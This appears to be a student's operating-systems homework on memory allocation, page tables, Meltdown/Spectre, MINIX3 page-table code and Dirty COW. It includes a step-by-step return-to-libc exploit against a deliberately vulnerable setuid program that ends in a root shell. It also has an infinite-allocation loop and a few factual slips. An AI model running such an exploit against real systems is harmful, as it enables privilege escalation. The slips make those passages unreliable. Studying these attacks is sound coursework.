VE482 Homework 6

Wu Jiayao 517370910257

1. Simple questions

1.

- First fit: 12KB $\rightarrow$ 20KB, 10KB $\rightarrow$ 10KB, 9KB $\rightarrow$ 18KB
    - Best fit: 12KB $\rightarrow$ 12KB, 10KB $\rightarrow$ 10KB, 9KB $\rightarrow$ 9KB
    - Quick fit: 12KB $\rightarrow$ 12KB, 10KB $\rightarrow$ 10KB, 9KB $\rightarrow$ 9KB

2.

$$Time = 10 + \frac{n}{k} \tag{1}$$

3.

Counter 0: 0110 1110

Counter 1: 0100 1001

Counter 2: 0011 0111

Counter 3: 1000 1011

2. Page Table

Inverted page tables

The inverted page table (IPT) is best thought of as an off-chip extension of the TLB which uses normal system RAM. Unlike a true page table, it is not necessarily able to hold all current mappings. The OS must be prepared to handle misses, just as it would with a MIPS-style software-filled TLB.

The IPT combines a page table and a *frame table* into one data structure. At its core is a fixed-size table with the number of rows equal to the number of frames in memory. If there are 4000 frames, the inverted page table has 4000 rows. For each row there is an entry for the virtual page number (VPN), the physical page number (not the physical address), some other data and a means for creating a collision chain.

To search through all entries of the core IPT structure is inefficient, and a hash table may be used to map virtual addresses (and address space/PID information if need be) to an index in the IPT, this is where the collision chain is used. This hash table is known as a hash anchor table. The hashing function is not generally optimized for coverage - raw speed is more desirable. Of course, hash tables experience collisions. Due to this chosen hashing function, we may experience a lot of collisions in usage, so for each entry in the table the VPN is provided to check if it is the searched entry or a collision.

In searching for a mapping, the hash anchor table is used. If no entry exists, a page fault occurs. Otherwise, the entry is found. Depending on the architecture, the entry may be placed in the TLB again and the memory reference is restarted, or the collision chain may be followed until it has been exhausted and a page fault occurs.

A virtual address in this schema could be split into two, the first half being a virtual page number and the second half being the offset in that page.

A major problem with this design is poor cache locality caused by the hash function. Tree-based designs avoid this by placing the page table entries for adjacent pages in adjacent locations, but an inverted page table destroys spatial locality of reference by scattering entries all over. An operating system may minimize the size of the hash table to reduce this problem, with the trade-off being an increased miss rate.

Multilevel page tables

The inverted page table keeps a listing of mappings installed for all frames in physical memory. However, this could be quite wasteful. Instead of doing so, we could create a page table structure that contains mappings for virtual pages. It is done by keeping several page tables that cover a certain block of virtual memory. For example, we can create smaller 1024-entry 4K pages that cover 4M of virtual memory.

This is useful since often the top-most parts and bottom-most parts of virtual memory are used in running a process - the top is often used for text and data segments while the bottom for stack, with free memory in between. The multilevel page table may keep a few of the smaller page tables to cover just the top and bottom parts of memory and create new ones only when strictly necessary.

Now, each of these smaller page tables are linked together by a master page table, effectively creating a tree data structure. There need not be only two levels, but possibly multiple ones.

A virtual address in this schema could be split into three parts: the index in the root page table, the index in the sub-page table, and the offset in that page.

Multilevel page tables are also referred to as hierarchical page tables.

3. Research

1.Code bugs - Return-to-libc attack

A "return-to-libc" attack is a computer security attack usually starting with a buffer overflow in which a subroutine return address on a call stack is replaced by an address of a subroutine that is already present in the process’ executable memory, bypassing the no-execute bit feature (if present) and ridding the attacker of the need to inject their own code. The first example of this attack in the wild was contributed by Alexander Peslyak on the Bugtraq mailing list in 1997.

```
#include <string.h>
#include <unistd.h>
#include <sys/cdefs.h>

int main(int argc, char** argv) {

    setuid(0);

    if (argc > 1) {
        char buf[256];
        strcpy(buf, argv[1]);
    }

    return 0;
}
```

```
gcc -g -Wall -mpreferred-stack-boundary=2 -fno-stack-protector -m32 -I. -z execstack -o
bin/sof src/sof.c
```

```
bin/sof $(perl -e 'print "A" x 260')
[1]    6406 segmentation fault (core dumped)  bin/sof $(perl -e 'print "A" x 260')
```

```
ldd bin/sof
  linux-gate.so.1 (0xf7fd2000)
  libc.so.6 => /lib/libc.so.6 (0xf7deb000)
  /lib/ld-linux.so.2 (0xf7fd4000)
```

```
strings -a -t x /lib/libc.so.6 | grep '/bin/sh'
 16a23e /bin/sh
```

```
printf "0x%x\n" $((0xf7deb000 + 0x16a23e))
0xf7f5523e
```

```
raddr -a 0xf7e2c540
\x40\xc5\xe2\xf7
```

```
raddr -a 0xf7f5523e
\x3e\x52\xf5\xf7
```

```
raddr -a 0xf7e1e8f0
\xf0\xe8\xe1\xf7
```

```
bin/sof $(perl -e 'print "A" x 260 . "\x40\xc5\xe2\xf7" . "\xf0\xe8\xe1\xf7" .
"\x3e\x52\xf5\xf7"')
```

Then /bin/sh is called and

```
@sh-4.4# whoami
root
```

It is done.

Reference:

https://www.linkedin.com/pulse/exploiting-stack-buffer-overflow-return-to-libc-intro-hildebrand/

https://en.wikipedia.org/wiki/Return-to-libc_attack

2. Meltdown and Spectre

- Meltdown

The Meltdown vulnerability primarily affects Intel microprocessors， but the ARM Cortex-A75 and IBM's Power microprocessors are also affected.

Most of the widely used and general-purpose operating systems use privilege levels and virtual memory mapping as part of their design. Meltdown can access only those pages that are memory mapped so the impact will be greatest if all active memory and processes are memory mapped in every process and have the least impact if the operating system is designed so that almost nothing can be reached in this manner. An operating system might also be able to mitigate in software to an extent by ensuring that probe attempts of this kind will not reveal anything useful. Modern operating systems use memory mapping to increase speed so this could lead to performance loss.

Mitigation of this vulnerability requires changes to operating system kernel code, including increased isolation of kernel memory from user-mode processes. Linux kernel developers have referred to this measure as kernel page-table isolation (KPTI).

KPTI fixes these leaks by separating user-space and kernel-space page tables entirely. One set of page tables includes both kernel-space and user-space addresses same as before, but it is only used when the system is running in kernel mode. The second set of page tables for use in user mode contains a copy of user-space and a minimal set of kernel-space mappings that provides the information needed to enter or exit system calls, interrupts and exceptions.

- Spectre

Spectre is a vulnerability that tricks a program into accessing arbitrary locations in the program's memory space. An attacker may read the content of accessed memory, and thus potentially obtain sensitive data. It displays the attack in four essential steps

1. First, it shows that branch prediction logic in modern processors can be trained to reliably hit or miss based on the internal workings of a malicious program.
2. It then goes on to show that the subsequent difference between cache hits and misses can be reliably timed, so that what should have been a simple non-functional difference can in fact be subverted into a covert channel which extracts information from an unrelated process's inner workings.
3. It searches existing code for places where speculation touches upon otherwise inaccessible data, manipulate the processor into a state where speculative execution has to touch that data, and then time the side effect of the processor being faster, if its by-now-prepared prefetch machinery indeed did load a cache line.
4. Finally, the paper concludes by generalizing the attack to any non-functional state of the victim process. It briefly discusses even such highly non-obvious non-functional effects as bus arbitration latency.

In 2019, researchers from UC San Diego and University of Virginia proposed *Context-Sensitive Fencing*. CSF leverages the ability to dynamically alter the decoding of the instruction stream, to seamlessly inject new micro-ops, including fences, only when dynamic conditions indicate they are needed.

4. Minix3

1.

```
- /usr/src/servers/vm/vm.h
- /usr/src/servers/vm/proto.h
- /usr/src/servers/vm/pt.h
- /usr/src/servers/vm/arch/i386/pagetable.c
- /usr/src/servers/vm/arch/i386/pagetable.h
```

2.

In /usr/src/servers/vm/arch/i386/pagetable.h

```
#define VM_PAGE_SIZE  I386_PAGE_SIZE
```

In /usr/src/include/arch/i386/include/vm.h

```
#define I386_PAGE_SIZE    4096
```

The size of page table is 4096.

3.

```
/* A pagetable. */
typedef struct {
  /* Directory entries in VM addr space - root of page table.  */
  u32_t *pt_dir;    /* page aligned (ARCH_VM_DIR_ENTRIES) */
  u32_t pt_dir_phys;  /* physical address of pt_dir */

  /* Pointers to page tables in VM address space. */
  u32_t *pt_pt[ARCH_VM_DIR_ENTRIES];

  /* When looking for a hole in virtual address space, start
   * looking here. This is in linear addresses, i.e.,
   * not as the process sees it but the position in the page
   * page table. This is just a hint.
   */
  u32_t pt_virtop;
} pt_t;
```

4.

```
/* $(ARCH)/pagetable.c */
void pt_init();
void vm_freepages(vir_bytes vir, int pages);
void pt_init_mem(void);
void pt_check(struct vmproc *vmp);
int pt_new(pt_t *pt);
void pt_free(pt_t *pt);
int pt_map_in_range(struct vmproc *src_vmp, struct vmproc *dst_vmp,
  vir_bytes start, vir_bytes end);
int pt_ptmap(struct vmproc *src_vmp, struct vmproc *dst_vmp);
int pt_ptalloc_in_range(pt_t *pt, vir_bytes start, vir_bytes end, u32_t
  flags, int verify);
void pt_clearmapcache(void);
int pt_writemap(struct vmproc * vmp, pt_t *pt, vir_bytes v, phys_bytes
  physaddr, size_t bytes, u32_t flags, u32_t writemapflags);
int pt_checkrange(pt_t *pt, vir_bytes v, size_t bytes, int write);
int pt_bind(pt_t *pt, struct vmproc *who);
void *vm_allocpage(phys_bytes *p, int cat);
void *vm_allocpages(phys_bytes *p, int cat, int pages);
void *vm_allocpagedir(phys_bytes *p);
void pt_cycle(void);
int pt_mapkernel(pt_t *pt);
void vm_pagelock(void *vir, int lockflag);
int vm_addrok(void *vir, int write);
int get_vm_self_pages(void);
```

5. Thrashing

I think that there is no need to run it actually.

```
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
    // I think there is no need to run it.
    int *bug;
    while (1)
    {
        bug = malloc(sizeof(int));
        bug++;
    }
    return 0;
}
```

6. Dirty Cow

Dirty COW, short for Dirty copy-on-write, is a computer security vulnerability for the Linux kernel that affects all Linux-based operating systems including Android. It is a local privilege escalation bug that exploits a race condition in the implementation of the copy-on-write mechanism in the kernel's memory-management subsystem. Because of the race condition, with the right timing, a local attacker can exploit the copy-on-write mechanism to turn a read-only mapping of a file into a writable mapping. Although it is a local privilege escalation, remote attackers can use it in conjunction with other exploits that allow remote execution of non-privileged code to achieve remote root access on a computer.The attack itself does not leave traces in the system log.

The Dirty COW vulnerability has many perceived use cases including proven examples, such as obtaining root permissions in Android devices. When privileges are escalated, someone else can modify unmodifiable binaries and files, so that so that such binaries perform additional, unexpected functions, bringing loss to the computer or users.

Reference: https://en.wikipedia.org/wiki/Dirty_COW